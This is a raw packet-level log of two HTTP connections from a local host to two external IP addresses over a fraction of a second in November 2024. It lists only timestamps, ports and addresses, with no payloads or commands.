Nov 24, 2024 12:24:25.182545900 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.183001041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.183171034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.183815002 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.183857918 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.183893919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.184797049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.212379932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.212528944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.212584972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.213226080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.213268995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.213337898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.213916063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.215020895 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.215056896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.215092897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.215130091 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.216835976 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.216880083 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.216936111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.216994047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.218693018 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.218874931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.218914032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.220587969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.220659971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.220815897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.220859051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.222270966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.222377062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.222425938 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.222579002 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.223980904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.224030018 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.224111080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.224153042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.225639105 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.225739002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.225786924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.227436066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.227480888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.227600098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.227649927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.229068995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.229110956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.229139090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.229180098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.231447935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.231601954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.231647015 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.232384920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.232582092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.232621908 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.233952045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.233994007 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.234086990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.234167099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.235672951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.235711098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.235816956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.235857010 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.237251043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.237390041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.237432003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.238810062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.238967896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.239016056 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.240550995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.240569115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.240587950 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.240621090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.241933107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.242117882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.242161989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.243441105 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.243484020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.243558884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.243604898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.245012045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.245099068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.245156050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.246563911 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.246717930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.246772051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.248032093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.248084068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.248132944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.248184919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.249514103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.249567986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.249644041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.249684095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.251027107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.251185894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.251249075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.252527952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.252679110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.252734900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.253969908 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.254018068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.254089117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.254133940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.255481005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.255527020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.255604982 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.255644083 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.256899118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.256977081 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.257030964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.257911921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.257977962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.258033991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.258443117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.258528948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.258542061 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.258569956 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.258593082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.258608103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.258646965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.259390116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.259610891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.259715080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.259762049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.259942055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.259989023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.259998083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.260273933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.260641098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.260693073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.260857105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.261360884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.261404991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.261435986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.261475086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.261482954 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.261512995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.261647940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.262366056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.262423992 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.262459993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.262792110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.262845993 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.262872934 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.262882948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.263240099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.263335943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.263372898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.264168978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.264218092 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.264221907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.264256954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.264292002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.264373064 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.265064001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.265111923 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.265165091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.265728951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.265779972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.265805006 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.265908003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.265929937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.265990973 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.266038895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.266869068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.266917944 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.266983986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.267107010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.267189980 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.267265081 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.267318964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.267874956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.267927885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.267929077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.268583059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.268632889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.268721104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.268757105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.268773079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.268791914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.268795967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.269731045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.269788027 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.269867897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.270078897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.270181894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.270195961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.270222902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.270530939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.270584106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.270663977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.271420956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.271464109 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.271476030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.271682978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.271826982 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.271878004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.271936893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.272370100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.272420883 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.272495031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.273052931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.273143053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.273178101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.273204088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.273308992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.273366928 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.273387909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.274173021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.274221897 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.274285078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.274496078 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.274547100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.274620056 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.274671078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.275099039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.275180101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.275186062 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.275969028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.276026011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.276027918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.276062965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.276074886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.276097059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.276118994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.276915073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.276968956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.276973009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.277399063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.277456045 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.277508020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.277575970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.277816057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.277869940 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.277916908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.278733969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.278775930 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.278839111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.278891087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.278938055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.278970003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.278984070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.279633045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.279829979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.279884100 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.280407906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.280513048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.280551910 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.280563116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.280580997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.280615091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.280623913 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.281457901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.281512022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.281582117 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.281780958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.281853914 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.281898975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.281953096 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.282355070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.282402039 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.282511950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.283288002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.283337116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.283355951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.283391953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.283426046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.283436060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.283447981 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.284250021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.284354925 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.284358025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.284708023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.284816027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.284848928 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.284866095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.285108089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.285187960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.285198927 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.286034107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.286114931 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.286142111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.286211014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.286243916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.286263943 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.286288023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.286925077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.287060022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.287111044 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.287640095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.287780046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.287826061 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.287899971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.287935019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.287945986 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.288734913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.288779974 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.288844109 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.289077997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.289122105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.289180040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.289247990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.289645910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.289702892 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.289732933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.290540934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.290592909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.290599108 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.290627956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.290676117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.290693045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.290749073 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.291522026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.291624069 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.291686058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.292016029 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.292067051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.292140007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.292200089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.292345047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.292403936 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.292463064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.293287039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.293329000 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.293339014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.293466091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.293531895 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.294182062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.294241905 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.294306993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.295118093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.295183897 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.295214891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.296027899 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.296080112 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.296190023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.296972990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.297032118 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.297089100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.297832012 CET	80	49792	34.116.198.130	192.168.2.4
